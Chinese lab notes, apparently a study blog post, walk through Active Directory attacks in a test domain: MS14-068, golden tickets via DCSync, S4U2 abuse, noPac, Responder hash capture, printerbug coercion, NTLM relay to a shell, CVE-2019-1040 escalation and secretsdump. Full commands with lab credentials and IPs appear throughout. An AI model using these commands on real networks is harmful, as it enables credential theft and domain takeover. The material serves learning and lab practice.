环境准备

首先准备这两个虚拟机
1.server服务端
修改名称

修改计算机名字,方便与后面的区分,修改为DC

添加角色


一直点下一步,最后点击安装

回到整理后发现差这个
点击这里进行安装



报错是因为密码太简单,把密码改为qax@123,修改密码:ctrl+shift+delete

修改后,这里设置为test.com

完成后,看看这个主机的ip,
作为cilent端的DNS服务器


在这里创建一个krbuser,密码qax@123
2. cilent端
登录刚刚创建的用户

测试工具解释

Kerberos 协议版本号,固定为 5
msg-type:请求类型,这里选择的 KRB_AS_REQ 是向 KDC 发起的初始认证请求
PA-DATA(预认证数据)
- PAPAC_REQUEST:请求在票据中包含 PAC(特权属性证书),include-pac 表示强制包含。
- ENCTIMESTAMP:包含加密时间戳,用于防止重放攻击。
- REQ-BODY(请求主体)
- cname:客户端名称,这里是用户 krbuser。
- sname:目标服务名称,krbtgt 是 KDC 的核心服务,用于颁发 TGT。
- realm:域名,这里是 test.com。
- nonce:客户端生成的随机数,用于确保响应的唯一性,防止重放。
- till:请求票据的有效期截止时间(默认到 2037 年)。
- rtime:指的是票据能够被续期的最后时间点。
- etypes:支持的加密算法列表,如 aes128cts_hmac_sha1、rc4-hmac 等。
- KDC Options:向 KDC 传递的选项标志,如 RENEW(允许续期票据)、PREAUTHENT(要求预认证)。
2. 响应包(右侧显示区)
- AS REP:KDC 返回的认证服务响应,包含加密的 TGT 和会话密钥。
- 解密:使用用户密钥解密响应包,提取票据和用户信息。
- 导出票据:将获取的 TGT 或服务票据导出为文件,用于后续攻击(如票据传递)。

KDC,TGT,PAC概念

响应包介绍

🔹 头部信息
- Record Mark: 218 bytes
这个数据包的总长度为 218 字节。
- pvno: 5
代表 Kerberos 协议的版本号,当前通用版本为 5。
- msg-type: krb-as-req (10)
表明这是一个 AS-REQ 类型的请求,是客户端向 KDC 发起的第一步认证请求。
🔹 padata(预认证数据,Pre-Authentication Data)
这是 Kerberos 为了防止重放攻击而设计的预认证机制,包含 2 个项目:
- PA-DATA pA-PAC-REQUEST
- padata-type: pA-PAC-REQUEST (128)
请求在后续返回的票据中包含 PAC(Privilege Attribute Certificate,特权属性证书),这是 Windows 域环境特有的扩展,用于携带用户的权限和组信息。
-
- padata-value: 3005a003010101
这是 ASN.1 编码的二进制数据,解码后表示 include-pac: True,即明确要求包含 PAC。
- PA-DATA pA-ENC-TIMESTAMP
- padata-type: pA-ENC-TIMESTAMP (2)
包含一个客户端生成的加密时间戳,用来证明请求是 “新鲜的”,防止攻击者重放旧的认证请求。
-
- padata-value: ...
这是用客户端密钥加密后的时间戳数据。
-
- etype: eTYPE-ARCFour-HMAC-MD5 (23)
加密算法为 ARCFOUR-HMAC-MD5(Windows 域环境中常用的兼容算法)。
🔹 req-body(请求主体)
这是请求的核心内容,包含客户端的身份和请求参数:
- Padding: 0
为了让数据包长度符合块加密算法的要求而填充的字节数,此处无需填充。
- kdc-options: 00000000
向 KDC 传递的选项标志,这里没有设置任何特殊选项。
- cname(客户端名称)
- name-type: KRB5-NT-PRINCIPAL (1)
表示这是一个用户主体名称。
-
- cname-string: krbuser
客户端的用户名是 krbuser。
- realm: test.com
客户端所在的域是 test.com。
- sname(服务名称)
- name-type: KRB5-NT-SRV-INST (2)
表示这是一个服务实例名称。
-
- sname-string: krbtgt + test.com
请求的是 krbtgt(Kerberos Ticket Granting Ticket) 服务,这是 KDC 用来颁发票据的核心服务。
- till: Sep 13, 2037 18:48:05
请求票据的有效期截止时间(Kerberos 协议的默认最大有效期)。
- nonce: 1818848256
客户端生成的随机数,用于防止重放攻击,并确保响应的唯一性。
- etype: eTYPE-ARCFour-HMAC-MD5 (23)
客户端期望 KDC 使用的加密算法。

实验1
1.票据的使用
1.获取身份证(KRB AS REQ)
发包之后导出一个人身份验证的包

2.使用身份证办签证(KRB TGS REQ)
现在发TGS请求就可以选服务了


现在是查看不了08机的目录的,说明krbuser的权限不够
在windows里面访问域控时,默认使用kerberos协议

查看票据可以看出,他是申请访问的是cifs的服务,也就是文件传输的服务,类似于ftp
先清空这些票据

3.想去哪里(cifs协议)
在这里输入:cifs/DC.test.com,发包成功后,到处票据,并重命名krbuser

但我们拿到的这个是一个文件的格式,我们怎么把它导入cmd,变成像刚刚的这样呢?
就用一个工具
cmd打开


现在这个票据就变了
所以说,根据windows特性,不管当前用户是哪个,都是可以用票据的,就算和本机名不一样也可以

但是还是拒绝访问了,因为krbuser也是一个普通用户
4.只有管理员才可以去(管理员身份访问目标目录)
那把这个改成这个,然后在重复刚刚的步骤

在做题中,如果看到了flag.txt

但是查看时,说密码账户不正确
net use \\QAXDC1.qax.com\c$后,输入账户密码
type \\QAXDC1.qax.com\c$\flag.txt
实验2 MS14-068漏洞
1.漏洞介绍
2.利用思路

1. 发起一个 PA_PAC_REQUEST 里面选择 include_pac 为 false。此时对生成的 TGT 票据是不含有PAC

2. 伪造一个 PAC。sid 为当前用户的 sid。将管理员组的 sid 加进 Groupld
需要修改的部分:

修改之后:

3. 利用 pykek 的代码制作一个 PAC
他需要py2的环境,终于在kali里面找到了
4. 发起 TGS_REQ, 此时的 TGT 是不包含 PAC 的,然后在 encauthorization-data 加入我们伪造的 PAC。


5. 利用 mimikatz 发起 pass the ticket Attack


注意:
1.速度要快,不然时间戳会失效
2.如果遇见

刚刚可以,现在就不行的情况(他会提示用户名密码不正确 或者 路径不对 或者 网络错误)
那就用猕猴桃重新导入构造的TGT,然后再重新用命令,我遇见很多次,就是每次只能用一个命令,命令是一次性的
3.黄金票据制作
刚刚哪个实验就看出来了,我们的权限没法一直维持,很多时候输一个命令,TGT就失效了,而黄金票据(Golden Ticket)是攻击者伪造的 Kerberos TGT 票据,它的核心价值在于让攻击者能长期、隐蔽地控制整个域。
1.远程域控的数据库同步



实现的前提:一定要快!!!!!!!!!!
如果说:制作“域控”相关服务,就用:
lsadump::dcsync /domain:qax.com /user:qaxdc1$
如果说:获取用户,就只修改user后面的内容
2.黄金票据制作
用记事本把这些数据保存起来
实验3 s4u2提权
1.在win2008新建用户,注册服务

现在注册的用户只是一个普通用户,他不具备服务或者代理的属性,有这一功能的用户会议一个这样的字段

那现在就可以设置一个
setspn -A wusuowei/wusuowei.cn s4u2-115
这个就相当于,我现在要去注册一个公司,就算我不用他,我也可以享用法律对公司的资源,就算是一个空公司,徒有其名,但只要存在,就可以享有某种权利,而wusuowei.wusuowei.cn就是这个空公司的服务,创造一个不存在的服务,但就是他,告诉了服务器,这个公司是存在的

所有现在就可以看到,他已经有了这个公司相关的权利了

勾选中
2.在win10发身份认证AS

去抓包看看
这里发现client和server的名字一样
说明,这里是s4u2让administrator申请一张访问s4u2(也就是我自己)的票据,而这个是为后面的proxy做准备的
3.在win2008中在s4u2注册完服务后添加服务类型cifs
proxy就是一个代理,为了让普通的公司(s4u2)去访问国家资源的的代理,而这些资源是国家(服务器)规定的,不能乱套
所以现在要服务器给我们分配资源

4.回到win10中发包
第一次


第二次
第三次



发包
现在就得到了一张从administrator到域控的票据
5.最后移动到mimikatz的文件夹里面,再用mimkatz进行操作

实验4 noPac一句话编票据
1.查看计算机名字
net group "domain computers" /domain

2. noPac一句话编票据
noPac.exe -domain test.com -user krbuser -pass qax@123 /dc DC.test.com /mAccount demo1 /mPassword qax@123 /service cifs /ptt
noPac.exe -domain test.com -user ZhangZhicheng -pass P@ssw0rd /dc DC.test.com /mAccount demo1 /mPassword qax@123 /service cifs /ptt
其中demo1是名称,是不能重复的
4741_4742_4742_4768_4742_4769
3.过程和原理
下面来说这个过程:

只看三个关键词:计算机账户管理,kerberos身份验证服务,
1. 事件ID 4741
操作:添加机器账户(创建 demohb$ 账户)
说明:利用普通域用户权限(krbuser)创建新的计算机账户,为后续欺骗做准备。
2. 事件ID 4742
操作:清除机器账户的 servicePrincipalName(SPN)
说明:将 demohb$ 的 SPN 属性清空,使其在 KDC 中看起来像“域控制器账户”(没有 SPN)。
3. 事件ID 4742
操作:请求该机器账户的 TGT(此时无 SPN)
触发漏洞:KDC 在找不到 demohb(无 $ 后缀)的 SPN 时,会错误地查找 demohb(如果存在,则使用其 SID/权限),此即 CVE-2021-42287。
4. 事件ID 4768
操作:Kerberos 身份验证票证(TGT)请求成功
说明:KDC 返回了 TGT,其 SID 实际上是域控制器账户的 SID(因为查询时匹配到了不带 $ 的 DC 账户)。
5. 事件ID 4742
操作:将机器账户改回 demohb$(恢复 SPN)
说明:避免账户属性异常引起注意,同时为后续正常操作做准备。
6. 事件ID 4769
操作:使用 S4U2Self 获取域控服务的服务票据(例如 cifs/DC$)
说明:利用上一步获得的 TGT(具有 DC SID),通过 S4U2Self 扩展请求域控服务的 ST,实现权限提升。
而其他的id:
| 事件ID | 在攻击中的典型触发操作 |
| 4624 | 票据传递后成功访问目标共享(C$) |
| 4634 | 访问会话结束 |
| 4776 | 攻击主机向KDC请求Kerberos票证 |
| 4781 | 机器账户改名(如果执行了改名操作) |
NTLM
1.在win10里面打开smb服务
勾选这两个服务并重启
在cmd输入命令:net use /kali ip/随便输几个字母
不用输入用户名
2.在kali启动responder:
responder -I eth0 -wrf 或
responder -i 192.168.10.128(kali的IP) -I(大写的i) ALL -v
我的是:responder -i 192.168.113.138 -I ALL -v
为什么我在win10里面没有输入用户名,但是在kali里面可以看到我的用户名?
你没有手动输入用户名,但 Responder 还是能看到用户名和 Hash,是因为 Windows 在发起 SMB 连接时会自动使用当前登录用户的凭据进行认证。Responder 通过毒化 SMB 响应,欺骗客户端向它发送认证信息,从而捕获到了 NTLMv2 Hash。
3.抓取流量
wireshark抓包:过滤:smb || smb2
1. SMB 认证流程(Frame 12-20)
- Frame 12-16:SMB2 协议协商(Negotiate Protocol)
- Frame 17:Windows 客户端发起 Session Setup Request,包含 NTLMSSP_NEGOTIATE
- Frame 18:服务器(Responder)回应 NTLMSSP_CHALLENGE(质询)
- Frame 19:关键帧,客户端发送包含 NTLMSSP_AUTH 的认证信息,其中包括:
- 用户:TEST\krbuser
- NTLMv2 Hash(在流量中是以加密形式传输的)
- Frame 20:服务器返回 STATUS_ACCESS_DENIED(认证失败)
这就是为什么 Responder 能获取用户名和 Hash 的原因:
- 客户端在 Frame 19 中自动使用当前登录用户 TEST\krbuser 进行认证
- Responder 捕获了这个 NTLMv2 Hash
2. 其他可疑流量
- Frame 32/36/834/1855:来自 192.168.113.152 的 SAM LOGON request,这是域控 DC.TEST.COM 在尝试认证,可能是因为 NBT-NS 毒化导致的
- Frame 63:来自 192.168.113.152 的 Browser Host Announcement,表明它是域控制器、时间源、DFS 服务器等
3.为什么还在不断发包?
1. NBT-NS 毒化仍在生效
- Responder 还在持续毒化 NBT-NS/LLMNR 请求
- 网络中可能有其他主机(包括域控)在尝试解析 DC.TEST.COM 或其他名称
- Responder 伪造响应,导致这些主机不断尝试连接攻击者的 IP(192.168.113.138)
2. 域控在尝试认证
- 那些 SAM LOGON request 是域控在尝试向攻击者机器认证(因为被毒化了)
- 这是因为 Responder 还在运行,继续欺骗网络中的名称解析请求
3. 浏览器协议通告
- Frame 63 是 Windows 网络浏览协议(Browser Protocol)的主机通告
- 域控会定期广播自己的存在和服务(每 12-15 分钟一次)
- 这是正常的 Windows 网络行为,不是攻击流量
4. 如果你在 Windows 上还在运行 net use 或类似命令
- 系统可能还在重试连接
- 或者有其他服务在后台尝试访问网络资源
4.整个攻击流程
🎬 场景设定
人物角色:
- 你(攻击者):Kali Linux(IP:192.168.113.138)
- 受害者:Windows 10(IP:192.168.113.134)
- 无辜群众:域控 DC(IP:192.168.113.152)
攻击目标:
获取 Windows 10 用户的登录密码(Hash)
📚 第一部分:基础知识(必须懂的!)
1. 什么是 NTLM?
想象一下你去银行取钱:
- NTLM 就像 Windows 的“身份验证协议”
- 它证明了“你是你”,不用每次都输入完整密码
- 但它有个致命弱点:在网络上传的是“密码的替身”
2. 什么是 Hash(哈希)?
- 不是你的原始密码,而是密码的数学指纹
- 比如:密码 Password123 → Hash A1B2C3D4...
- 重要特性:Hash 不能反推出密码,但可以验证密码
3. 什么是 Responder?
- 网络“骗子”工具:假装成别人来“骗”信息
- 在网络中喊:“我是打印机!”、“我是文件服务器!”
- 等别人来连接时,偷看他们的“身份证”(用户名和Hash)
🎭 第二部分:攻击原理(剧本)
攻击的大致思路:
text
1. 你(Kali)在网络上喊:“我是文件服务器!”
2. Windows 10 想访问文件服务器,就来找你
3. Windows 10:“请验证我的身份”(发送用户名和Hash)
4. 你记录下这个信息,然后说:“验证失败!”
5. 你得到了 Windows 10 的“身份证复印件”
🔧 第三部分:详细攻击步骤(一步一步来)
步骤1:设置攻击环境
你在 Kali 上输入:
bash
responder -i 192.168.113.138 -I ALL -v
这行命令的意思是:
- -i 192.168.113.138:用这个 IP 地址进行攻击
- -I ALL:毒化所有协议(SMB、HTTP、FTP等)
- -v:显示详细信息
相当于你在网络中说:
- “我是文件服务器(192.168.113.138)!”
- “我也是打印机!”
- “我还是网站!”
步骤2:受害者上钩
在 Windows 10 上,你输入:
cmd
net use \\192.168.113.138\asd1
这个命令的意思是:
- 连接到 192.168.113.138 这个“文件服务器”
- 访问名为 asd1 的共享文件夹
但关键来了! Windows 10 其实在说:
“我想访问文件服务器,让我用当前登录的账户自动登录吧!”
步骤3:自动认证的发生
为什么不用输密码? 因为 Windows 有个“懒人功能”:
- 你登录 Windows 时:输入了用户名 krbuser 和密码
- Windows 记住了:把“密码指纹”(Hash)存在内存里
- 访问网络资源时:Windows 自动用这个 Hash 去认证
相当于:
- 你上班刷了工卡进门(登录 Windows)
- 去食堂吃饭时,不用再刷卡,脸一扫就行(自动认证)
- 但有人偷偷拍了你的脸照片(Responder 捕获了Hash)
步骤4:Responder 捕获信息
当 Windows 10 发送认证信息时,Responder 看到:
text
有人来连接了!
用户名:TEST\krbuser
密码Hash:krbuser::TEST:1afd67f2edbe2313:D1750EC04FBC0D6B1B14CB0516C9A376:...
然后 Responder 说: “密码错误,不让进!”
但实际上它已经把信息记录下来了。
5.脚本printerbug攻击(在kali进行):要关闭防火墙
在win10机里面
python3 printerbug.py test.com/krbuser@192.168.10.133(攻击对象,必须要具有打印机服务) 192.168.10.128(回链IP,kali)
responder -i 192.168.113.138 -I ALL -v
python3 printerbug.py test.com/krbuser@192.168.113.134 192.168.113.138
前面ip是win10主机,后面是kali
这次回显的,是主机名字
在08主机上
把打印服务开启


就成功了,显示出主机的名字:DC
实现成功的注意事项:
1.关闭防火墙
2.开启打印服务
3.做完前两步后重启
原理:
一、技术依赖关系
1. 攻击目标的特定服务
- Printer Bug 攻击针对的是 Print Spooler 服务(spoolsv.exe)
- 该服务监听 RPC 端点,提供 MS-RPRN 协议接口
- 没有运行 Print Spooler = 没有 RPC 接口 = 无法触发攻击
2. RPC 接口的注册
当 Print Spooler 启动时,它会:
text
1. 启动 spoolsv.exe 进程
2. 向 RPC Endpoint Mapper(端口135)注册接口
3. 注册 UUID:12345678-1234-ABCD-EF00-0123456789AB
4. 开始监听动态 RPC 端口
攻击者只能连接到已注册的 RPC 接口。
二、攻击触发的具体流程
服务未运行时的状态:
text
攻击者 → 连接到目标 IP:135
↓
RPC Endpoint Mapper
↓
"查找 MS-RPRN 接口"
↓
"接口未注册" → 攻击失败 ❌
服务运行时的状态:
攻击者 → 连接到目标 IP:135
↓
RPC Endpoint Mapper
↓
"MS-RPRN 接口已注册,端口 49152"
↓
连接到端口 49152
↓
调用 RpcRemoteFindFirstPrinterChangeNotificationEx()
↓
触发强制认证 ✅
为什么必须开启打印服务?
1. 攻击代码调用的是 Print Spooler 服务的 RPC 接口
2. 只有 spoolsv.exe 进程实现了 MS-RPRN 协议
3. 只有该服务有 RpcRemoteFindFirstPrinterChangeNotificationEx() 函数
4. 该函数才会触发向任意 IP 的认证连接
5. 服务未运行 → 接口不存在 → 攻击无效
偷取目标主机的cmd界面
1.注意事项
先打开root,输入responder-MultiRelay -h,如果没有报错,就直接执行后文命令
如果报错了,先更新:apt-get update
然后根据报错信息下载x86_64-w64-mingw32-gcc之类的东西。
问题:Warning: GPG 错误:http://kali.download/kali kali-rolling InRelease: 由于没有公钥,无法验证下列签名: NO_PUBKEY ED65462EC8D5E4C5
Error: 仓库 “http://http.kali.org/kali kali-rolling InRelease” 没有数字签名。
解决:sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
2.远程链接cmd

老师给的这个软件很好用,但是用不起,你就在kali上用其他命令代替
impacket-ntlmrelayx -t 192.168.113.134 -smb2support -i
要先关闭刚刚启用的responder -i 192.168.113.138 -I ALL -v的这个指令
步骤1:启动 ntlmrelayx(目标设为 134)终端1
# 终端1
impacket-ntlmrelayx -t 192.168.113.134 -smb2support -i

步骤2:从域控(154)触发认证
python3 printerbug.py TEST.com/krbuser@192.168.113.154 192.168.113.138
注意:这里是让 域控(154) 向你的 Kali(138)认证,然后中继到 目标主机(134)。
步骤3:连接到交互式 Shell
打开新的终端窗口,运行:
nc -nv 127.0.0.1 11000

这里他并不知道windows的命令,要换方法,输入help查看所有可用的命令,就可以对于去找了
CVE-2019-1040
1.复现过程
impacket-ntlmrelayx --remove-mic --escalate-user krbuser -t ldap://192.168.113.151(win08) -smb2support
这个命令的意思是remove(接触)mic协议,escalate(提升)krbuser用户权限,使用ldap对准用户,支持smb2协议
impacket-ntlmrelayx --remove-mic --escalate-user krbuser -t ldap://192.168.113.151 -smb2support
步骤一:攻击,开监听窗口
impacket-ntlmrelayx --remove-mic --escalate-user krbuser -t ldap://192.168.113.151 -smb2support

现在窗口一输这样的命令
但是我这里端口冲突了
sudo netstat -tlnp | grep :445
sudo kill -9 5319

关闭窗口,重启命令,监听成功
步骤二:触发监听
关闭win10防火墙后,在kali里面输入
python3 printerbug.py test.com/krbuser@192.168.113.134 192.168.113.138
- 认证成功 ✓
- 域信息转储 ✓
- 但没有权限提升 ✗
- 没有 DCSync 权限 ✗
步骤三:修改权限
来分析失败的过程:
1. 客户端 (192.168.113.134) → 连接 Kali 的 SMB 服务器
2. Kali 中继凭证 → 目标 DC (192.168.113.151)
3. 使用计算机账户身份 (WIN-OB2UAQDOEBO$) 认证
4. DC 检查:计算机账户有什么权限?
5. 结论:计算机账户不能修改 Domain Admins 成员
6. 攻击失败 ✗
现在去域控里面修改
步骤四:提权成功
这个输出显示 NTLM 中继攻击取得了全面的成功,krbuser 的权限已经被显著提升。
步骤五:信息收集
现在就可以去拿他的哈希
python3 secretsdump.py qax.com/krbuser@192.168.113.152 -just-dc

2841

被折叠的 条评论
为什么被折叠?



